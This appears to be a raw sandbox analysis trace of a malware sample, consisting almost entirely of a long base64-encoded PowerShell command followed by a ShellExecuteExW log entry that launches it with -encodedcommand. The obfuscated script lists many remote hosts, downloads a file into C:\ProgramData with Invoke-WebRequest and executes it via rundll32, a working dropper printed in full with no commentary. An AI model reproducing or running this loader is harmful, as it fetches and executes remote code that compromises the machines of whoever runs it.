AQQBaAFEAQgB5AEEASABJAEEAWQBRAEIAdQBBAEcAVQBBAFkAUQBCAHUAQQBDADQAQQBiAEEAQgBwAEEARwBjAEEAYQBBAEIAMABBAEcAawBBAGIAZwBCAG4AQQBDADgAQQBjAHcAQQB2AEEARgBNAEEATQB4AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAWQBBAE0AZwBBAHUAQQBEAEkAQQBOAFEAQQB5AEEAQwA0AEEATQBRAEEAMwBBAEQASQBBAEwAZwBBAHkAQQBEAEEAQQBOAHcAQQB2AEEARgBBAEEAWgBRAEEAMgBBAEYARQBBAEwAdwBCAG0AQQBHAEkAQQBiAFEAQgBUAEEARQBFAEEAVABnAEEAMwBBAEEAPQA9AE0AeABhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAFkAQQBNAGcAQQB1AEEARABJAEEATgBRAEEAeQBBAEMANABBAE0AUQBBADMAQQBEAFUAQQBMAGcAQQB5AEEARABFAEEATwBRAEEAdgBBAEcANABBAGQAdwBBADAAQQBFAHcAQQBkAEEAQQB2AEEASABZAEEAVwBBAEEAMgBBAEUAMABBAE4AZwBBAD0ATQB4AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAWQBBAE0AZwBBAHUAQQBEAEkAQQBOAFEAQQB5AEEAQwA0AEEATQBRAEEAMwBBAEQAVQBBAEwAZwBBAHgAQQBEAGcAQQBNAEEAQQB2AEEARgBFAEEAYwB3AEIAVgBBAEMAOABBAE4AZwBCAFUAQQBIAGMAQQBRAHcAQgBGAEEARQBzAEEAIgA7ACQAUwBwAGEAcgBzAGkAbwBwAGwAYQBzAHQAQQBzAHMAZQBhAGwAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEEAQQBhAEEAQgA1AEEASABRAEEAYgB3AEIAdwBBAEcAZwBBAGUAUQBCAHMAQQBHADgAQQBaAHcAQgBsAEEARwA0AEEAYQBRAEIAagBBAEYAQQBBAGIAdwBCAHMAQQBIAGsAQQBZAHcAQgBvAEEARwBFAEEAYwB3AEIAcABBAEcARQBBAEwAZwBCAGoAQQBHADgAQQBaAGcAQgBtAEEARwBVAEEAWgBRAEEAPQBxAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUANABBAFoAUQBCADMAQQBIAE0AQQBiAFEAQgBsAEEARwA0AEEATABnAEIAagBBAEcARQBBAFkAZwBBAD0AcQBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBCADAAQQBHADgAQQBlAEEAQgBwAEEARwBNAEEAYgB3AEIAawBBAEcAVQBBAGMAZwBCAHQAQQBHAEUAQQBkAEEAQgBwAEEASABRAEEAYQBRAEIAegBBAEMANABBAGIAUQBCAGwAQQBBAD0APQBxAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcASQBBAGIAQQBCAGgAQQBHAE0AQQBhAHcAQgAwAEEARwA4AEEAYwBBAEIAegBBAEMANABBAFkAZwBCADEAQQBHAGsAQQBiAEEAQgBrAEEAQQA9AD0AIgA7ACQAdQBuAGEAbgB0AGkAYwBpAHAAYQB0AGUAZABsAHkAVQBuAGQAZQBwAHIAZQBjAGEAdABpAG4AZwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcARQBBAGQAUQBCADAAQQBHADgAQQBZAHcAQgA1AEEASABNAEEAZABBAEIAdgBBAEgAQQBBAGIAQQBCAGgAQQBIAE0AQQBkAEEAQgA1AEEAQwA0AEEAWgB3AEIAcABBAEgAWQBBAFoAUQBCAHoAQQBBAD0APQBmAEYAYwBOAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEQASQBBAE4AQQBBAHoAQQBDADQAQQBNAFEAQQA1AEEARABrAEEATABnAEEANQBBAEQATQBBAEwAZwBBADEAQQBEAGcAQQBmAEYAYwBOAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAagBBAEcAZwBBAGIAQQBCAHYAQQBIAEkAQQBhAEEAQgBsAEEASABnAEEAYQBRAEIAawBBAEcAawBBAGIAZwBCAGwAQQBFADAAQQBiAHcAQgB1AEEARwA4AEEAYgBBAEIAaABBAEgAUQBBAFoAUQBCAHkAQQBDADQAQQBkAHcAQgBoAEEASABRAEEAWQB3AEIAbwBBAEEAPQA9AGYARgBjAE4AYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgB3AEEAMgBBAEMANABBAE0AUQBBADUAQQBEAEUAQQBMAGcAQQAzAEEARABFAEEATABnAEEAeQBBAEQASQBBAE0AZwBBAD0AIgA7ACQAcgBlAHAAZQBhAHQAZQByAEMAbwBsAGwAbwBxAHUAaQBhAGwAaQB0AHkAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHgAQQBEAGsAQQBNAFEAQQB1AEEARABFAEEATwBBAEEAMQBBAEMANABBAE0AUQBBADAAQQBEAFEAQQBMAGcAQQB4AEEARABZAEEATQBRAEEAPQAiADsAZgBvAHIAZQBhAGMAaAAgACgAJAB1AG4AcwB0AG8AcABwAGEAYgBsAGUATwBrAGUAbgBpAHQAZQAgAGkAbgAgACQAbwByAGQAaQBuAGEAcgBpAGEAdABlAE8AdQB0AHQAaAByAHUAcwB0ACAALQBzAHAAbABpAHQAIAAiAE0AeAAiACkAIAB7ACQAYwBoAG8AbgBkAHIAbwBpAHQAaQBuAE8AYwBoAGwAbwBjAHIAYQB0AGkAYwBhAGwAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBAHkAQQBEAEUAQQBOAHcAQQB1AEEARABJAEEATQBRAEEANQBBAEMANABBAE0AZwBBAHkAQQBEAEkAQQBMAGcAQQB4AEEARABRAEEATgBnAEEAPQB6AHgATwBhAEEAQgAwAEEASABRAEEAYwBBAEEANgBBAEMAOABBAEwAdwBBADIAQQBEAEUAQQBMAGcAQQB5AEEARABFAEEATQB3AEEAdQBBAEQARQBBAE0AUQBBADMAQQBDADQAQQBNAGcAQQB4AEEARABNAEEAegB4AE8AYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgBBAEEAMgBBAEMANABBAE0AUQBBAHkAQQBEAEkAQQBMAGcAQQB5AEEARABVAEEATgBBAEEAdQBBAEQASQBBAE4AQQBBAHcAQQBBAD0APQB6AHgATwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBFADgAQQBkAGcAQgBsAEEASABJAEEAWQB3AEIAcwBBAEgAVQBBAGQAQQBCADAAQQBHAFUAQQBjAGcAQQB1AEEARwBvAEEAWgBRAEIAMABBAEgAbwBBAGQAQQBBAD0AIgA7ACQAZABpAHAAaAB5AGMAZQByAGMAeQAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAYwBBAE4AZwBBAHUAQQBEAEUAQQBOAGcAQQB3AEEAQwA0AEEATQBnAEEAMABBAEQARQBBAEwAZwBBAHkAQQBEAEEAQQBPAEEAQQA9AGIAVABUAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEcATQBBAGEAQQBCAGwAQQBHAGsAQQBjAGcAQgB2AEEARwAwAEEAWgBRAEIAbgBBAEcARQBBAGIAQQBCADUAQQBFAFUAQQBiAFEAQgB3AEEARwA4AEEAYwBnAEIAMABBAEcAMABBAFoAUQBCAHUAQQBIAFEAQQBMAGcAQgBsAEEARwBFAEEAYwBnAEIAMABBAEcAZwBBACIAOwB0AHIAeQAgAHsAJAByAGEAdAB0AGUAcgBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABZAEEATgB3AEEAdQBBAEQAWQBBAE4AQQBBAHUAQQBEAEUAQQBOAHcAQQA1AEEAQwA0AEEATQBRAEEAdwBBAEQASQBBAEUAbQBIAHYAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQA0AEEARABNAEEATABnAEEAeQBBAEQAUQBBAE0AZwBBAHUAQQBEAEUAQQBOAEEAQQAzAEEAQwA0AEEATgB3AEEANABBAEEAPQA9ACIAOwAkAHMAbgBpAGYAZgBpAG4AZwBNAGUAcgBpAHMAbQBhAHQAaQBjACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBvAEEASABrAEEAYwBBAEIAbABBAEgASQBBAFkAdwBCAGgAQQBIAFEAQQBZAFEAQgBzAEEARwBVAEEAWQB3AEIAMABBAEcAawBBAFkAdwBCAEMAQQBHAFUAQQBjAFEAQgAzAEEARwBVAEEAZABBAEIAbABBAEMANABBAFoAdwBCAHkAQQBBAD0APQAiADsAJABBAG4AYQBzAHQAYQB0AGUASABlAG0AYQBkAHIAbwBtAG8AZwByAGEAcABoACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABFAEEATgB3AEEAdQBBAEQASQBBAE0AdwBBAHgAQQBDADQAQQBPAFEAQQB3AEEAQwA0AEEATQBnAEEAdwBBAEQAawBBAHUAcgByAEsAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATwBBAEEAdQBBAEQAWQBBAE4AQQBBAHUAQQBEAEkAQQBNAGcAQQA0AEEAQwA0AEEATQBRAEEAMgBBAEQAYwBBAHUAcgByAEsAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBjAEEAYwBnAEIAdgBBAEgAWQBBAFoAUQBCADAAQQBFAFEAQQBhAFEAQgBpAEEARwBJAEEAYgBBAEIAcABBAEcANABBAFoAdwBBAHUAQQBIAGsAQQBiAHcAQgBuAEEARwBFAEEAdQByAHIASwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEEAQQBiAEEAQgBoAEEARwA0AEEAZABBAEIAaABBAEcAYwBBAGIAdwBBAHUAQQBHAEUAQQBZAHcAQgBoAEEARwBRAEEAWgBRAEIAdABBAEgAawBBACIAOwAkAFcAaABpAHQAZQBkAGEAbQBwAEMAaAB1AGYAZgB5ACAAPQAgACQAdQBuAHMAdABvAHAAcABhAGIAbABlAE8AawBlAG4AaQB0AGUAOwAkAFQAcgBvAGcAZwBzAEgAeQBwAG8AZwBlAHUAcwBpAGEAIAA9ACAAIgBhAHcAQgB1AEEARwBVAEEAWgBRAEIAcwBBAEcAVQBBAGMAZwBCAHoAQQBFAHcAQQBZAFEAQgBpAEEARwBVAEEAYgBBAEIAcwBBAEcAVQBBAFoAQQBBAHUAQQBHAFEAQQBiAEEAQgBzAEEAQQA9AD0AIgA7ACQAQQB1AHQAbwBwAG8AcwBpAHQAaQB2AGUAQgBhAGcAaABsAGEAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVwBoAGkAdABlAGQAYQBtAHAAQwBoAHUAZgBmAHkAKQApADsAJABsAG8AcABzAGkAZABlAGQAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBuAGkAYwBvAGQAZQAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAcwB0AGUAbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAVAByAG8AZwBnAHMASAB5AHAAbwBnAGUAdQBzAGkAYQApACkAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAkAEEAdQB0AG8AcABvAHMAaQB0AGkAdgBlAEIAYQBnAGgAbABhACAALQBPACAAQwA6AFwAXABQAHIAbwBnAHIAYQBtAEQAYQB0AGEAXABcACQAbABvAHAAcwBpAGQAZQBkADsAJAByAGEAdAB0AGUAcgBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABZAEEATgB3AEEAdQBBAEQAWQBBAE4AQQBBAHUAQQBEAEUAQQBOAHcAQQA1AEEAQwA0AEEATQBRAEEAdwBBAEQASQBBAEUAbQBIAHYAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQA0AEEARABNAEEATABnAEEAeQBBAEQAUQBBAE0AZwBBAHUAQQBEAEUAQQBOAEEAQQAzAEEAQwA0AEEATgB3AEEANABBAEEAPQA9ACIAOwAkAHMAbgBpAGYAZgBpAG4AZwBNAGUAcgBpAHMAbQBhAHQAaQBjACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBvAEEASABrAEEAYwBBAEIAbABBAEgASQBBAFkAdwBCAGgAQQBIAFEAQQBZAFEAQgBzAEEARwBVAEEAWQB3AEIAMABBAEcAawBBAFkAdwBCAEMAQQBHAFUAQQBjAFEAQgAzAEEARwBVAEEAZABBAEIAbABBAEMANABBAFoAdwBCAHkAQQBBAD0APQAiADsAJABBAG4AYQBzAHQAYQB0AGUASABlAG0AYQBkAHIAbwBtAG8AZwByAGEAcABoACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB5AEEARABFAEEATgB3AEEAdQBBAEQASQBBAE0AdwBBAHgAQQBDADQAQQBPAFEAQQB3AEEAQwA0AEEATQBnAEEAdwBBAEQAawBBAHUAcgByAEsAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQB4AEEARABZAEEATwBBAEEAdQBBAEQAWQBBAE4AQQBBAHUAQQBEAEkAQQBNAGcAQQA0AEEAQwA0AEEATQBRAEEAMgBBAEQAYwBBAHUAcgByAEsAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARQBjAEEAYwBnAEIAdgBBAEgAWQBBAFoAUQBCADAAQQBFAFEAQQBhAFEAQgBpAEEARwBJAEEAYgBBAEIAcABBAEcANABBAFoAdwBBAHUAQQBIAGsAQQBiAHcAQgBuAEEARwBFAEEAdQByAHIASwBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBGAEEAQQBiAEEAQgBoAEEARwA0AEEAZABBAEIAaABBAEcAYwBBAGIAdwBBAHUAQQBHAEUAQQBZAHcAQgBoAEEARwBRAEEAWgBRAEIAdABBAEgAawBBACIAOwAkAFQAZQBpAG4AZABlAHIAIAA9ACAAKABHAGUAdAAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIABDADoAXABcAFAAcgBvAGcAcgBhAG0ARABhAHQAYQBcAFwAJABsAG8AcABzAGkAZABlAGQAKQAuAEwAZQBuAGcAdABoADsAJABzAGwAYQB1AGcAaAB0AGUAcgBlAHIAUwBpAG0AYgBsAGkAbgAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAMQBBAEcANABBAGMAdwBCAGgAQQBHAE0AQQBjAGcAQgBwAEEARwBZAEEAYQBRAEIAagBBAEcAVQBBAFkAUQBCAGkAQQBHAHcAQQBlAFEAQgBWAEEARwA0AEEAYgBBAEIAdgBBAEcATQBBAGEAdwBCAHoAQQBDADQAQQBjAEEAQgBwAEEARwBNAEEAZABBAEIAMQBBAEgASQBBAFoAUQBCAHoAQQBBAD0APQAiADsAJABDAG8AYQByAGIAaQB0AHIAYQB0AG8AcgBQAG8AZQBzAGkAbABlAHMAcwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgAUQBBAGEAQQBCADEAQQBHAG8AQQBZAFEAQgB6AEEAQwA0AEEAWgB3AEIAcABBAEcAWQBBAGQAQQBBAD0AUABwAFAAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQQAwAEEARABrAEEATABnAEEAeABBAEQAVQBBAE0AdwBBAHUAQQBEAEUAQQBNAGcAQQAxAEEAQwA0AEEATQBRAEEAdwBBAEQAawBBAFAAcABQAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAUQBBAE4AdwBBAHUAQQBEAEUAQQBPAEEAQQAzAEEAQwA0AEEATwBBAEEAMQBBAEMANABBAE8AQQBBAHgAQQBBAD0APQAiADsAaQBmACAAKAAkAFQAZQBpAG4AZABlAHIAIAAtAGcAZQAgADUANAAzADQAMgApAHsAJABSAGUAbQBpAG4AdABzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATgBBAEEAeQBBAEMANABBAE0AZwBBAHoAQQBEAEEAQQBMAGcAQQA1AEEARABJAEEATABnAEEAeQBBAEQARQBBAE0AUQBBAD0AcABMAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEgAQQBBAGMAdwBCAGwAQQBIAFUAQQBaAEEAQgBsAEEASABBAEEAYQBRAEIAbgBBAEgASQBBAFkAUQBCAHcAQQBHAGcAQQBhAFEAQgBqAEEARQBFAEEAYwBnAEIAagBBAEcAZwBBAGEAUQBCAHQAQQBHAFUAQQBaAEEAQgBsAEEARwBFAEEAYgBnAEEAdQBBAEcASQBBAGMAZwBCADEAQQBIAE0AQQBjAHcAQgBsAEEARwB3AEEAYwB3AEEAPQBwAEwAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBJAEEASABrAEEAYwBBAEIAdgBBAEgAUQBBAGEAQQBCAGwAQQBIAFEAQQBhAFEAQgBqAEEAQwA0AEEAWgBBAEIAdgBBAEgAYwBBAGIAZwBCAHMAQQBHADgAQQBZAFEAQgBrAEEAQQA9AD0AcABMAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQATQBBAE0AdwBBAHUAQQBEAEUAQQBPAFEAQQB3AEEAQwA0AEEATQBnAEEAeQBBAEQAQQBBAEwAZwBBAHgAQQBEAFEAQQBOAEEAQQA9ACIAOwBwAG8AdwBlAHIAcwBoAGUAbABsACAALQBlAG4AYwBvAGQAZQBkAGMAbwBtAG0AYQBuAGQAIAAiAEoAQQBCAHYAQQBHAE0AQQBjAGcAQgBoAEEARwBNAEEAZQBRAEIAVABBAEgAVQBBAFkAZwBCAHoAQQBHAE0AQQBiAEEAQgBsAEEASABJAEEAYgB3AEIAMABBAEcAawBBAFkAdwBBAGcAQQBEADAAQQBJAEEAQQBpAEEASABRAEEAYQBBAEIAcABBAEcAOABBAFkAdwBCAGgAQQBIAEkAQQBZAGcAQgBwAEEARwAwAEEAYQBRAEIAawBBAEcAVQBBAFUAZwBCAGwAQQBHAEkAQQBiAHcAQgAxAEEARwA0AEEAWgBBAEIAbABBAEgASQBBAEkAZwBBADcAQQBDAFEAQQBjAHcAQgBsAEEARwAwAEEAYQBRAEIAbQBBAEcAVQBBAGQAUQBCAGsAQQBHAEUAQQBiAEEAQQBnAEEARAAwAEEASQBBAEEAaQBBAEcAVQBBAGIAUQBCAHAAQQBHAGMAQQBjAGcAQgBoAEEASABRAEEAYQBRAEIAdQBBAEcAYwBBAFUAQQBCAHYAQQBHAHcAQQBlAFEAQgB3AEEARwBFAEEAYwBnAEIAcABBAEgAVQBBAGIAUQBBAGkAQQBEAHMAQQBKAEEAQgBOAEEARwBFAEEAYwBnAEIAcABBAEcARQBBAGIAQQBCAHAAQQBIAFEAQQBaAFEAQQBnAEEARAAwAEEASQBBAEEAaQBBAEgAUQBBAGEAQQBCADEAQQBHADQAQQBaAEEAQgBsAEEASABJAEEAWQBnAEIAdgBBAEcAdwBBAGQAQQBCAHoAQQBGAFkAQQBZAFEAQgB6AEEASABRAEEAYQBRAEIAbABBAEgASQBBAEkAZwBBADcAQQBHAE0AQQBiAFEAQgBrAEEAQwBBAEEATAB3AEIAagBBAEMAQQBBAGMAZwBCADEAQQBHADQAQQBaAEEAQgBzAEEARwB3AEEATQB3AEEAeQBBAEMAQQBBAFEAdwBBADYAQQBGAHcAQQBVAEEAQgB5AEEARwA4AEEAWgB3AEIAeQBBAEcARQBBAGIAUQBCAEUAQQBHAEUAQQBkAEEAQgBoAEEARgB3AEEAYQB3AEIAdQBBAEcAVQBBAFoAUQBCAHMAQQBHAFUAQQBjAGcAQgB6AEEARQB3AEEAWQBRAEIAaQBBAEcAVQBBAGIAQQBCAHMAQQBHAFUAQQBaAEEAQQB1AEEARwBRAEEAYgBBAEIAcwBBAEMAdwBBAGIAUQBCAHYAQQBIAEkAQQBaAFEAQQA3AEEAQwBRAEEAUgB3AEIAMQBBAEcAawBBAFoAQQBCAGgAQQBHADQAQQBZAHcAQgBsAEEARQBNAEEAWQBRAEIAdABBAEcASQBBAGMAZwBCAGwAQQBHAHcAQQBJAEEAQQA5AEEAQwBBAEEASQBnAEIAVgBBAEcANABBAGQAdwBCAG8AQQBHAGsAQQBiAFEAQgB3AEEARwBVAEEAYwBnAEIAcABBAEcANABBAFoAdwBBAGkAQQBEAHMAQQBKAEEAQgBTAEEARwBVAEEAZABnAEIAbABBAEcANABBAFoAdwBCAGwAQQBHAEUAQQBZAGcAQgBzAEEARwBVAEEASQBBAEEAOQBBAEMAQQBBAEkAZwBCAFEAQQBHAGcAQQBhAFEAQgBzAEEARwBrAEEAYwBBAEIAdwBBAEcAawBBAGMAdwBCAHQAQQBDAEkAQQBPAHcAQQBrAEEARQBrAEEAYwBnAEIAcABBAEgATQBBAFkAdwBCAHYAQQBIAEEAQQBaAFEAQgBUAEEARwB3AEEAWQBRAEIAdQBBAEcAYwBBAGQAUQBCAHMAQQBHAEUAQQBjAGcAQQBnAEEARAAwAEEASQBBAEEAaQBBAEUASQBBAFkAUQBCAHUAQQBHAEUAQQBiAGcAQgBwAEEASABNAEEAZABBAEEAaQBBAEQAcwBBAEoAQQBCAFEAQQBIAFUAQQBjAEEAQgBwAEEARwB3AEEAYgBBAEIAbABBAEgATQBBAGMAdwBBAGcAQQBEADAAQQBJAEEAQQBpAEEARQBNAEEAYgB3AEIAcwBBAEcAdwBBAFkAUQBCAHkAQQBHAEkAQQBhAFEAQgB5AEEARwBRAEEAVgBRAEIAdQBBAEcAWQBBAFoAUQBCAHAAQQBHAGMAQQBiAGcAQgBsAEEARwBRAEEAYgBnAEIAbABBAEgATQBBAGMAdwBBAGkAQQBEAHMAQQAiADsAJABTAHAAYQBsAGwAYQBiAGwAZQBIAHUAcwBiAGEAbgBkAGwAaQBuAGUAcwBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABnAEEATQBRAEEAdQBBAEQAYwBBAE8AUQBBAHUAQQBEAEUAQQBOAGcAQQAwAEEAQwA0AEEATQBRAEEAeQBBAEQAQQBBAEUAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARwBjAEEAWgBRAEIAeQBBAEcAMABBAFkAUQBCAHUAQQBHAGsAQQBlAGcAQgBoAEEASABRAEEAYQBRAEIAdgBBAEcANABBAFMAQQBCADUAQQBHAFEAQQBZAFEAQgAwAEEARwA4AEEAYgBRAEIAdgBBAEgASQBBAGMAQQBCAG8AQQBHAGsAQQBZAHcAQQB1AEEASABJAEEAWgBRAEIAdQBBAEgAUQBBAFkAUQBCAHMAQQBIAE0AQQBFAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAbABBAEgAQQBBAGEAUQBCAGoAQQBHAGcAQQBhAFEAQgBzAEEARQBVAEEAYwB3AEIAegBBAEcAOABBAGEAUQBCAHUAQQBHAFUAQQBjAGcAQQB1AEEARwBRAEEAYQBRAEIAbgBBAEcAawBBAGQAQQBCAGgAQQBHAHcAQQBFAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEIAVgBBAEcANABBAFkAdwBCAHYAQQBHADAAQQBjAEEAQgAxAEEASABRAEEAWQBRAEIAaQBBAEcAdwBBAFoAUQBCAHUAQQBHAFUAQQBjAHcAQgB6AEEARgBNAEEAZABRAEIAaQBBAEcAYwBBAGIAQQBCAHYAQQBIAFEAQQBkAEEAQgBoAEEARwB3AEEATABnAEIAeQBBAEcAOABBACIAOwAkAHMAdwBpAG4AZQBwAGkAcABlAE4AbwBuAGkAbABsAHUAcwBpAHYAZQBuAGUAcwBzACAAPQAgACIAYQBBAEIAMABBAEgAUQBBAGMAQQBCAHoAQQBEAG8AQQBMAHcAQQB2AEEARABFAEEATQBBAEEAeABBAEMANABBAE0AZwBBADAAQQBEAEUAQQBMAGcAQQA1AEEARABnAEEATABnAEEANQBBAEQAUQBBAHoAWQBMAHoAYQBBAEIAMABBAEgAUQBBAGMAQQBBADYAQQBDADgAQQBMAHcAQgBFAEEASABVAEEAWQB3AEIAcgBBAEgAQQBBAGEAUQBCAHUAQQBFADQAQQBaAFEAQgBzAEEASABNAEEAYgB3AEIAdQBBAEMANABBAGIAZwBCADUAQQBHAE0AQQB6AFkATAB6AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeQBBAEQARQBBAE4AdwBBAHUAQQBEAEUAQQBNAGcAQQAxAEEAQwA0AEEATQBRAEEANABBAEQAWQBBAEwAZwBBADUAQQBEAEkAQQB6AFkATAB6AGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAMwBBAEQAQQBBAEwAZwBBADUAQQBEAEUAQQBMAGcAQQB5AEEARABJAEEATgBBAEEAdQBBAEQAZwBBAE8AUQBBAD0AIgA7AGIAcgBlAGEAawA7AH0AIABlAGwAcwBlACAAewB9AH0AIABjAGEAdABjAGgAIAB7AH0AfQA="
Time & API Arguments Status Return Repeated

ShellExecuteExW

 show_type: 0
filepath_r: powershell
parameters: -encodedcommand "JABSAG8AcwBlAHcAbwByAHQATgBvAG4AYQBzAHQAcgBvAG4AbwBtAGkAYwAgAD0AIAAiAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAYwBBAE8AQQBBAHUAQQBEAEUAQQBOAFEAQQB3AEEAQwA0AEEATQBnAEEAMABBAEQARQBBAEwAZwBBAHgAQQBEAEkAQQBNAFEAQQA9AHYAZABhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBHAGMAQQBjAGcAQgBsAEEARwBFAEEAYwB3AEIAcABBAEcAVQBBAGMAZwBCAFMAQQBHAFUAQQBiAEEAQgBoAEEASABRAEEAYQBRAEIAMgBBAEcARQBBAGIAQQBBAHUAQQBIAE0AQQBiAHcAQgBtAEEASABRAEEAZAB3AEIAaABBAEgASQBBAFoAUQBBAD0AIgA7ACQAUwB1AHAAZQByAHIAZQBmAGkAbgBlAGQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBPAEEAQQAyAEEAQwA0AEEATQBnAEEAeABBAEQAUQBBAEwAZwBBAHkAQQBEAEkAQQBOAFEAQQB1AEEARABJAEEATgBRAEEAeABBAEEAPQA9ACIAOwAkAE4AZQB3AHMAcgBlAGUAbABzAFIAaQBjAG8AYwBoAGUAdABlAGQAIAA9ACAAIgBhAEEAQgAwAEEASABRAEEAYwBBAEIAegBBAEQAbwBBAEwAdwBBAHYAQQBEAEUAQQBPAEEAQQAzAEEAQwA0AEEATQBRAEEAegBBAEQAZwBBAEwAZwBBAHgAQQBEAGcAQQBNAHcAQQB1AEEARABjAEEATwBBAEEAPQBMAEIAawBaAGEAQQBCADAAQQBIAFEAQQBjAEEAQQA2AEEAQwA4AEEATAB3AEEAeABBAEQAQQBBAE4AQQBBAHUAQQBEAGsAQQBPAEEAQQB1AEEARABnAEEATwBRAEEAdQBBAEQARQBBAE8AUQBBADUAQQBBAD0APQBMAEIAawBaAGEAQQBCADAAQQBIAFEAQQBjAEEAQgB6AEEARABvAEEATAB3AEEAdgBBAEUASQBBAFkAUQBCAHoAQQBHAGsAQQBjAEEAQgB2AEEARwBRAEEAYQBRAEIAMABBAEcAawBBAFkAdwBCAFEAQQBHAGcAQQBiAHcAQgBsAEEARwA0AEEAYQBRAEIAagBBAEcARQBBAFkAdwBCAGwAQQBHAEUAQQBaAFEAQQB1AEEARwBrAEEAYgBRAEIAdABBAEcAOABBAFkAZwBCAHAAQQBHAHcAQQBhAFEAQgBsAEEARwA0AEEATABCAGsAWgBhAEEAQgAwAEEASABRA